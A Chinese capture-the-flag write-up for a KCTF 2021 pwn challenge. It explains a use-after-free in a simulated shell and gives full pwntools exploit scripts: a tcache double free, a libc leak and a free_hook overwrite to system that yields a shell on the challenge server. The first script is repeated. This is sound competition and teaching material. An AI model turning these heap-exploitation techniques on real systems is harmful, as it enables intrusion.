-
-
[原创]KCTF 2021秋季赛 窥伺者谁 writeup
-
发表于: 2021-11-30 23:17 16254
-
题目模拟了一个手写的shell
里面的文件系统可以分为3个结构体,name,data,text,目录具有name和data,普通文件具有三个,结构体大致如下。
主要是有一个uaf的漏洞,如果创建文件夹在里面创建文件之后写内容的话,在文件夹的外面删掉这个文件会导致里面的text堆块被free,但是不清空指针。由于是2.27的libc,可以直接在tcache 中double free实现任意申请。
由于各种保护拉满,所有地址都未知,那么此时必须先想办法泄露出libc的地址,如果能泄露出libc的地址,那么可以直接double free 劫持free hook去getshell。能输出堆块上内容的基本就一个ls指令,但是它在输出之前会check目录名是否合法,合法的条件基本就是,肯定屏蔽了特殊字符和不可打印的那些字节的,如果要泄露出一个地址那么必定是会含有这些字节的。但是我注意到了echo函数,echo函数的非重定向选项会先strlen一遍那个sysbuf然后根据这个长度去泄露,并不会check上面的字节。如果我在上面带上了libc的地址那么就可以开心地泄露了。但是它这个读非常的安全,遇到\n才会截止输入并且那个\n最后会变成\0,那么唯一的绕过方法就是直接读它个0x5000的数据,然后后面放上libc的地址就可以泄露了。
那么我先double free,然后再在sysbuf上面的最后八个字节伪造成一个size,再让指针指向它free,这样等会填充0x5000个字节的时候后面直接会出现libc的地址。由于这是2.27的版本,构造unsorted bin必须要先填满tcache,且进入unsorted bin的话会对前后堆块check,所以这里我们为了check大小刚好构造为0xf1大小,然后此时再创建7个文件,并让他的text堆块对应0xf1的大小并一一删除填满tcache。这样的话free那个堆块进入unsortedbin之后就会携带libc的地址了。
需要注意,因为只有最后三位偏移固定,所以double free之后要爆破半个字节才能成功指到对应的地方去free。free之后就非常简单,直接在sysbuf上填写0x5000个字符然后echo直接输出就可以泄露出那个地址了。泄露出来了之后就很简单了,故技重施,double free劫持free_hook位system,然后删除一个带有/bin/sh字符串的文件就可以愉快地getshell了。
后面把题目给fmyy师傅分析了一下,他给出了另外一种解法
struct name{
char file_name[
0x20
];
};
struct data{
long
long
is_not_dir;
data
*
pre_dir;
/
/
文件这里标为
1
,目录标为
0
data
*
son[
16
];
/
/
普通文件这里不使用
name
*
file_name;
text
*
file_data;
/
/
目录不具有此项目
}
struct text{
char text[?];
}
struct name{
char file_name[
0x20
];
};
struct data{
long
long
is_not_dir;
data
*
pre_dir;
/
/
文件这里标为
1
,目录标为
0
data
*
son[
16
];
/
/
普通文件这里不使用
name
*
file_name;
text
*
file_data;
/
/
目录不具有此项目
}
struct text{
char text[?];
}
from
pwn
import
*
#context.log_level='debug'
context.arch
=
'amd64'
context.os
=
'linux'
libc_version
=
'2.27'
global
p
def
conn(x,file_name,port
=
9999
,ip
=
'101.35.172.231'
):
if
x:
p
=
process(file_name)
else
:
p
=
remote(ip,port)
return
ELF(file_name),ELF(file_name),p
def
ls(name):
p.sendlineafter(b
'$'
,b
'ls'
)
p.sendlineafter(b
'path> '
,name)
def
mkdir(name):
p.sendlineafter(b
'$'
,b
'mkdir'
)
p.sendlineafter(b
'name'
,name)
def
rm(name):
p.sendlineafter(b
'$'
,b
'rm'
)
p.sendlineafter(b
'filename> '
,name)
def
cd(name):
p.sendlineafter(b
'$'
,b
'cd'
)
p.sendlineafter(b
'path> '
,name)
def
echo(msg,red,path
=
b
'./'
):
p.sendlineafter(b
'$'
,b
'echo'
)
p.sendafter(b
'arg>'
,msg)
p.sendlineafter(b
'redirect?>'
,red)
if
red
=
=
b
'Y'
or
red
=
=
b
'y'
:
p.sendlineafter(b
'path> '
,path)
def
touch(name):
p.sendlineafter(b
'$'
,b
'touch'
)
p.sendlineafter(b
'filename> '
,name)
def
pwn():
global
p
elf,libc,p
=
conn(
0
,
'./chall'
,port
=
10000
)
libc
=
ELF(
'./libc.so.6'
)
mkdir(b
'dir'
)
cd(b
'dir'
)
touch(b
'flag'
)
echo(b
'a'
*
0x10
+
b
'\n'
,b
'y'
,b
'flag'
)
cd(b
'..'
)
for
i
in
range
(
2
):
rm(b
'./dir/flag'
)
gdb.attach(p)
echo(p16(
0x3260
)
+
b
'\n'
,b
'y'
,
'dir/flag'
)
touch(b
'flag1'
)
echo(b
'a'
*
0x4ff8
+
p64(
0xf1
),b
'n'
)
echo(b
'a'
*
8
+
b
'\n'
,b
'y'
,b
'flag1'
)
touch(b
'flag2'
)
touch(b
'flag3'
)
touch(b
'flag4'
)
gdb.attach(p)
echo(b
'/bin/sh\0'
+
b
'\n'
,b
'y'
,b
'flag2'
)
for
i
in
range
(
7
):
touch(
str
(i))
echo(b
'a'
*
0xe0
+
b
'\n'
,b
'y'
,
str
(i))
for
i
in
range
(
7
):
rm(
str
(i))
rm(b
'flag2'
)
echo(b
'a'
*
0x5000
,b
'n'
)
#p.recvuntil(b'\x7f')
libc_addr
=
u64(p.recvuntil(b
'\x7f'
,timeout
=
0.5
)[
-
6
:]
+
b
'\0\0'
)
-
96
-
0x10
-
libc.sym[
'__malloc_hook'
]
success(
'libc_addr:'
+
hex
(libc_addr))
rm(
'dir/flag'
)
echo(p64(libc_addr
+
libc.sym[
'__free_hook'
])
+
b
'\n'
,b
'y'
,b
'dir/flag'
)
echo(b
'/bin/sh\n'
,b
'y'
,b
'flag3'
)
echo(p64(libc_addr
+
libc.sym[
'system'
])
+
b
'\n'
,b
'y'
,b
'flag4'
)
rm(b
'flag3'
)
#gdb.attach(p)
p.interactive()
while
True
:
try
:
pwn()
except
:
continue
from
pwn
import
*
#context.log_level='debug'
context.arch
=
'amd64'
context.os
=
'linux'
libc_version
=
'2.27'
global
p
def
conn(x,file_name,port
=
9999
,ip
=
'101.35.172.231'
):
if
x:
p
=
process(file_name)
else
:
p
=
remote(ip,port)
return
ELF(file_name),ELF(file_name),p
def
ls(name):
p.sendlineafter(b
'$'
,b
'ls'
)
p.sendlineafter(b
'path> '
,name)
def
mkdir(name):
p.sendlineafter(b
'$'
,b
'mkdir'
)
p.sendlineafter(b
'name'
,name)
def
rm(name):
p.sendlineafter(b
'$'
,b
'rm'
)
p.sendlineafter(b
'filename> '
,name)
def
cd(name):
p.sendlineafter(b
'$'
,b
'cd'
)
p.sendlineafter(b
'path> '
,name)
def
echo(msg,red,path
=
b
'./'
):
p.sendlineafter(b
'$'
,b
'echo'
)
p.sendafter(b
'arg>'
,msg)
p.sendlineafter(b
'redirect?>'
,red)
if
red
=
=
b
'Y'
or
red
=
=
b
'y'
:
p.sendlineafter(b
'path> '
,path)
def
touch(name):
p.sendlineafter(b
'$'
,b
'touch'
)
p.sendlineafter(b
'filename> '
,name)
def
pwn():
global
p
elf,libc,p
=
conn(
0
,
'./chall'
,port
=
10000
)
libc
=
ELF(
'./libc.so.6'
)
mkdir(b
'dir'
)
cd(b
'dir'
)
touch(b
'flag'
)
echo(b
'a'
*
0x10
+
b
'\n'
,b
'y'
,b
'flag'
)
cd(b
'..'
)
for
i
in
range
(
2
):
rm(b
'./dir/flag'
)
gdb.attach(p)
echo(p16(
0x3260
)
+
b
'\n'
,b
'y'
,
'dir/flag'
)
touch(b
'flag1'
)
echo(b
'a'
*
0x4ff8
+
p64(
0xf1
),b
'n'
)
echo(b
'a'
*
8
+
b
'\n'
,b
'y'
,b
'flag1'
)
touch(b
'flag2'
)
touch(b
'flag3'
)
touch(b
'flag4'
)
gdb.attach(p)
echo(b
'/bin/sh\0'
+
b
'\n'
,b
'y'
,b
'flag2'
)
for
i
in
range
(
7
):
touch(
str
(i))
echo(b
'a'
*
0xe0
+
b
'\n'
,b
'y'
,
str
(i))
for
i
in
range
(
7
):
rm(
str
(i))
rm(b
'flag2'
)
echo(b
'a'
*
0x5000
,b
'n'
)
#p.recvuntil(b'\x7f')
libc_addr
=
u64(p.recvuntil(b
'\x7f'
,timeout
=
0.5
)[
-
6
:]
+
b
'\0\0'
)
-
96
-
0x10
-
libc.sym[
'__malloc_hook'
]
success(
'libc_addr:'
+
hex
(libc_addr))
rm(
'dir/flag'
)
echo(p64(libc_addr
+
libc.sym[
'__free_hook'
])
+
b
'\n'
,b
'y'
,b
'dir/flag'
)
echo(b
'/bin/sh\n'
,b
'y'
,b
'flag3'
)
echo(p64(libc_addr
+
libc.sym[
'system'
])
+
b
'\n'
,b
'y'
,b
'flag4'
)
rm(b
'flag3'
)
#gdb.attach(p)
p.interactive()
while
True
:
try
:
pwn()
except
:
continue
from
pwn
import
*
def
ls(name):
p.sendlineafter(
'$'
,
'ls'
)
p.sendlineafter(
'path> '
,name)
def
mkdir(name):
p.sendlineafter(
'$'
,
'mkdir'
)
p.sendlineafter(
'name'
,name)
def
rm(name):
p.sendlineafter(
'$'
,
'rm'
)
p.sendlineafter(
'filename> '
,name)
def
cd(name):
p.sendlineafter(
'$'
,
'cd'
)
p.sendlineafter(
'path> '
,name)
def
echo(msg,path
=
'./'
,red
=
'Y'
):
p.sendlineafter(
'$'
,
'echo'
)
p.sendlineafter(
'arg>'
,msg)
p.sendlineafter(
'redirect?>'
,red)
if
red
=
=
'Y'
or
red
=
=
'y'
:
p.sendlineafter(
'path> '
,path)
def
touch(name):
p.sendlineafter(
'$'
,
'touch'
)
p.sendlineafter(
'filename> '
,name)
libc
=
ELF(
'./libc-2.27.so'
)
while
True
:
# p = process('./main')
p
=
remote(
'101.35.172.231'
,
10000
)
try
:
mkdir(
"dir"
)
cd(
"dir"
)
for
i
in
range
(
16
):
touch(
'test'
+
str
(i))
cd(
".."
)
echo(
'U'
*
0x10
,
'dir/test'
+
str
(
2
))
echo(
'U'
*
0x10
,
'dir/test'
+
str
(
3
))
echo(
'U'
*
0x410
,
'dir/test'
+
str
(
4
))
echo(
'U'
*
0x80
,
'dir/test'
+
str
(
5
))
for
i
in
range
(
2
):
rm(
'dir/test2'
)
echo(
'\x00'
,
'dir/test'
+
str
(
2
))
echo(
'FMYY'
,
'dir/test'
+
str
(
6
))
echo(p64(
0
)
+
p64(
0x491
),
'dir/test'
+
str
(
7
))
for
i
in
range
(
2
):
rm(
'dir/test2'
)
echo(
'\x10'
,
'dir/test'
+
str
(
2
))
echo(
'FMYY'
,
'dir/test'
+
str
(
8
))
echo(
'FMYY'
,
'dir/test'
+
str
(
9
))
rm(
'dir/test9'
)
echo(
'F'
,
'dir/test'
+
str
(
9
))
for
i
in
range
(
2
):
rm(
'dir/test2'
)
echo(
'\x13'
,
'dir/test'
+
str
(
2
))
echo(
'FMYY'
,
'dir/test'
+
str
(
10
))
echo(
'\x00'
,
'dir/test'
+
str
(
11
))
# here bruteforce the libc address and leak the two-bytes when it in the range of visiable-ascii
ls(
'dir/'
)
try
:
p.recvuntil(
'test14\n'
)
libc_16bits
=
(u32(p.recvuntil(
'\n'
,drop
=
True
,timeout
=
0.2
).ljust(
4
,
'\x00'
)) >>
8
)
#
if
libc_16bits
=
=
0
:
p.close()
continue
log.info(
'LEAK:\t'
+
hex
(libc_16bits))
except
:
p.close()
continue
echo(
'\x00'
*
0x28
+
p64(
0x21
),
'dir/test'
+
str
(
5
))
for
i
in
range
(
4
):
rm(
'dir/test2'
)
echo(p64(
0x21
)
*
(
0x480
/
8
),
'dir/test'
+
str
(
5
))
rm(
'dir/test3'
)
echo(p64(
0x31
)
*
(
0x480
/
8
),
'dir/test'
+
str
(
5
))
rm(
'dir/test3'
)
echo(p64(
0x441
)
*
(
0x480
/
8
),
'dir/test'
+
str
(
5
))
rm(
'dir/test3'
)
freehook_24bits
=
((libc_16bits
+
0x1C
)<<
8
)
+
0xE8
echo(
'\x00'
*
0x48
+
p64(
0x441
)
+
p32(freehook_24bits)[
0
:
3
],
'dir/test'
+
str
(
5
))
echo(
'\x00'
*
8
+
p32(freehook_24bits
-
0x10
)[
0
:
3
] ,
'dir/test'
+
str
(
12
))
echo(
'\x00'
*
8
,
'dir/test'
+
str
(
13
))
system_24bits
=
((libc_16bits
-
0x39C8
)<<
8
)
+
0x40
echo(
'\x00'
*
0x430
,
'dir/test'
+
str
(
14
))
echo(p32(system_24bits)[
0
:
3
],
'dir/test'
+
str
(
13
))
echo(
'/bin/sh\x00'
,
'dir/test'
+
str
(
14
))
rm(
'dir/test14'
)
break
except
:
p.close()
pass
p.interactive()
from
pwn
import
*
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]强网杯S8初赛pwn writeup 1659
- [原创]KCTF2024 第八题 writeup 2899
- 腾讯游戏安全大赛2024决赛题解 11499
- [原创]腾讯游戏安全大赛2024初赛题解 10810
- 2022的腾讯游戏安全竞赛复盘 11617